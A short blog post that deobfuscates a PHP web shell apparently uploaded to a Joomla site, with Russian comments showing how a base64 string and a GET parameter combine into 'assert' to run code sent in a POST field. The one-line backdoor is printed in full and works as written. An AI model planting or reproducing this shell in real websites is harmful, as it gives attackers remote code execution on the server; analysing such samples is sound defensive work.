php Joomla病毒上传

Posted 2021-05-04

<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';@$c($_POST[x]);?>

<?php 
  $c=base64_decode('YXNzZXI=').$_GET[n].'t';
  @$c($_POST[x]);


//  base64_decode('YXNzZXI=') -> 'asser'
//  $_GET[n] -> ? nothing ?
//  $c = assert - Checks if assertion is FALSE (Проверяет, является ли утверждение FALSE)

//  Если assertion задается в виде строки, оно будет рассматриваться функцией assert() как PHP-код. Если вы передадите в качестве параметра assertion логическое выражение, то это выражение не будет отображаться как параметр для функции утверждения, заданной с помощью assert_options(). Это выражение будет преобразовано в строку перед вызовом функции обработчика, а в случае FALSE будет использована пустая строка.

  $c = assert;

  @$c($_POST[x]);